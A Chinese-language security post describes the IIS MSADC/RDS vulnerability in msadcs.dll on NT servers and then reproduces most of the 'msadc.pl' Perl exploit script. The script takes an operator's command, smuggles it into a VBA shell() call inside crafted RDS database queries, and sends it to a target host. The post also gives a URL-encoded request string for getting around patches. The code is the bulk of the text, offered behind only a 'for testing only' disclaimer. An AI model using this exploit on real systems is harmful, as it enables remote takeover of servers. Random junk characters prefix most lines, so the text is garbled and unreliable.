IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
0ZN/-2c A# R#>E{[9 涉及程序:
b%(0AL Microsoft NT server
z~qQ@u| Qw:j2g2H7 描述:
Alz#zBGb 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
ff0,K#- syF/jWM5 详细:
*O~D lf 如果你没有时间读详细内容的话,就删除:
G`jhzG c:\Program Files\Common Files\System\Msadc\msadcs.dll
>\ W" 3. 有关的安全问题就没有了。
0dW1I|jR ]CjODa 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
e]QkZg2?Yn #~b9H05D 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
`m5iZxhw 关于利用ODBC远程漏洞的描述,请参看:
V.J%4&^X ZfU_4Pl-> http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm @u^Ib33 43Q&<r$[T 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
Hg4Ut/0 http://www.microsoft.com/security/bulletins/MS99-025faq.asp y3#\mBiw 4/b#$o<I? 这里不再论述。
f[w$3 SDkN 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
myXV~6R
3 e(Verd:c /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
F3q5!1 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
LPC7Bdjz J0IK=Y (_* a4xGF #将下面这段保存为txt文件,然后: "perl -x 文件名"
s=:n<`Z2 F&0rI8Nr #!perl
aozk,{9- #
(w*$~p # MSADC/RDS 'usage' (aka exploit) script
?~!h
N,h #
&m` # by rain.forest.puppy
4[?Q*f! #
ep5aBrN]" # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
j[9B,C4 # beta test and find errors!
wP%;9y2B <:?&}'aA use Socket; use Getopt::Std;
X*T9`]l6 getopts("e:vd:h:XR", \%args);
f5N~K> f: Rh9 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
NoMC*",b> 2}NfR8
N if (!defined $args{h} && !defined $args{R}) {
M`(xAVl print qq~
^JTfRZ:a Usage: msadc.pl -h <host> { -d <delay> -X -v }
?@~FT1"6G -h <host> = host you want to scan (ip or domain)
bnlL-]]9z -d <seconds> = delay between calls, default 1 second
R~`Y6>o~9: -X = dump Index Server path table, if available
gVGq -v = verbose
QwhPN'U -e = external dictionary file for step 5
;BqX=X+# z, OMR`W Or a -R will resume a command session
&HWH
UWB zVIzrz0 ~; exit;}
!`SR$dnE <C&UDj $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
X@arUs7 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
,GK>|gNsb if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
7Qo*u;fr if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
]SQ_*$` $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
@t_<oOI2 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
kz#DBh!& *
08LW|:, if (!defined $args{R}){ $ret = &has_msadc;
/F\7_ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
t*COzE [\VzI\vb print "Please type the NT commandline you want to run (cmd /c assumed):\n"
0xC!d-VIJ . "cmd /c ";
dWI\VS 9 $in=<STDIN>; chomp $in;
.8"o&%$`V $command="cmd /c " . $in ;
{S|uQgs6j 2uB.0
if (defined $args{R}) {&load; exit;}
cJt#8P
rTi.k print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
lB-Njr &try_btcustmr;
})J]D~!p B$\5=[U print "\nStep 2: Trying to make our own DSN...";
9U+^8,5 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
]Y3ALQr! ^0r@", print "\nStep 3: Trying known DSNs...";
=/zQJzN &known_dsn;
R)#"Ab Z' C ZJW`c/ print "\nStep 4: Trying known .mdbs...";
3,pRmdC &known_mdb;
!XK p_v 5~\W!|j/ if (defined $args{e}){
L|c01 print "\nStep 5: Trying dictionary of DSN names...";
oL<^m?-u &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
}b1P!xb!A *QrTZ$\C print "Sorry Charley...maybe next time?\n";
Ngg (<ZN exit;
Cu0 /TeEM hRME;/r]X ##############################################################################
}@x0@sI9 f1Rm9`` sub sendraw { # ripped and modded from whisker
RNm/&F1C$ sleep($delay); # it's a DoS on the server! At least on mine...
^f4qs my ($pstr)=@_;
]+J]}C]\d socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
?A]:`l_" die("Socket problems\n");
\wTWhr0 if(connect(S,pack "SnA4x8",2,80,$target)){
HSTtDTo select(S); $|=1;
^.k}YSWut print $pstr; my @in=<S>;
Jr#ptf"Wu select(STDOUT); close(S);
zhFGMF1 return @in;
FQ );el'_V } else { die("Can't connect...\n"); }}
Rrs z{a
UA{A G; ##############################################################################
&Uzg&eB `DEz `
D sub make_header { # make the HTTP request
3xeW!~ my $msadc=<<EOT
gPDc6{/C< POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
;0ake%v] User-Agent: ACTIVEDATA
'GAjx{gM Host: $ip
,KZ_#9[> Content-Length: $clen
@*F
NWT6 Connection: Keep-Alive
0'a.Ypf {AJspLcG ADCClientVersion:01.06
{"O'kx Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
si)920?E& '#^ONn STn --!ADM!ROX!YOUR!WORLD!
~]}7|VN.} Content-Type: application/x-varg
PE3l2kr Content-Length: $reqlen
qRTy}FU1 T'FRnC^~ EOT
)bqO}_B ; $msadc=~s/\n/\r\n/g;
y6;A4p> return $msadc;}
7v#sr< BsRxD9r ##############################################################################
I:[3x2H {G_ZEo#x8, sub make_req { # make the RDS request
eqYa`h@g^ my ($switch, $p1, $p2)=@_;
fAYm3+.l3 my $req=""; my $t1, $t2, $query, $dsn;
&d=j_9 FhW\23OC if ($switch==1){ # this is the btcustmr.mdb query
5v8_ji#l[ $query="Select * from Customers where City=" . make_shell();
W,}C*8{+ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
@99@do|C $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
1)H+iN|im/ {i3]3V"Xp elsif ($switch==2){ # this is general make table query
LY/K,6^a $query="create table AZZ (B int, C varchar(10))";
/z`LB $dsn="$p1";}
zuXJf+] 0zetOlFbO elsif ($switch==3){ # this is general exploit table query
nCJ)=P.d $query="select * from AZZ where C=" . make_shell();
GoZr[=d $dsn="$p1";}
NEJxd%- Yaht<Hy elsif ($switch==4){ # attempt to hork file info from index server
Ee d2`~ $query="select path from scope()";
EC|t4u3 $dsn="Provider=MSIDXS;";}
Wfz&:J# X&pK#= elsif ($switch==5){ # bad query
pGzzv{H $query="select";
,{=# $dsn="$p1";}
fC52nK&T8 3
rV)JA $t1= make_unicode($query);
/{^Qup $t2= make_unicode($dsn);
WL+I)n8~ $req = "\x02\x00\x03\x00";
NO8)XJ3s $req.= "\x08\x00" . pack ("S1", length($t1));
_5y3<H<? $req.= "\x00\x00" . $t1 ;
z\{ y[3- $req.= "\x08\x00" . pack ("S1", length($t2));
*#w+*ywVZH $req.= "\x00\x00" . $t2 ;
i_Ab0vye $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
w>J|416 return $req;}
GeD^-.^ |-%[Z ##############################################################################
*{/BPc0* ZXh6Se4o sub make_shell { # this makes the shell() statement
'WUd7 return "'|shell(\"$command\")|'";}
~sx?aiO 1!~=8FTv ##############################################################################
@))PpE`co8 uPQ:}zL2 sub make_unicode { # quick little function to convert to unicode
y}Oc^Fc my ($in)=@_; my $out;
:>c33X} for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
gDa}8!+i return $out;}
3o5aB1 CI{? Kb ##############################################################################
_ ?]bd-E pqmtN*zV sub rdo_success { # checks for RDO return success (this is kludge)
|VQ17*4ff1 my (@in) = @_; my $base=content_start(@in);
xy5&}_Y if($in[$base]=~/multipart\/mixed/){
gi#bU return 1 if( $in[$base+10]=~/^\x09\x00/ );}
+`>Tuz~ return 0;}
5ro^<P0f** |
U ) ##############################################################################
#(=8
RA:@ g4EC[>5!r sub make_dsn { # this makes a DSN for us
qwM71B!r my @drives=("c","d","e","f");
ZxFRE#y~2 print "\nMaking DSN: ";
2+m%f" foreach $drive (@drives) {
B>hf|.GI print "$drive: ";
-|YG**i/ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
)!z<q}i5 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
V{+'(<SV . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
?S9? ?y/ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
fP# !ywgr% return 0 if $2 eq "404"; # not found/doesn't exist
+"Flu.+[' if($2 eq "200") {
~-ZquJ- foreach $line (@results) {
^YiGvZJ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
z3x/Y/X$S } return 0;}
ammlUWl '_oWpzpe ##############################################################################
0N>NX?r 0h=NbLr|S- sub verify_exists {
iq*]CF my ($page)=@_;
"NWILZwEV my @results=sendraw("GET $page HTTP/1.0\n\n");
9K,PT.c return $results[0];}
kCRfO}wt3 |qTvy,U[ ##############################################################################
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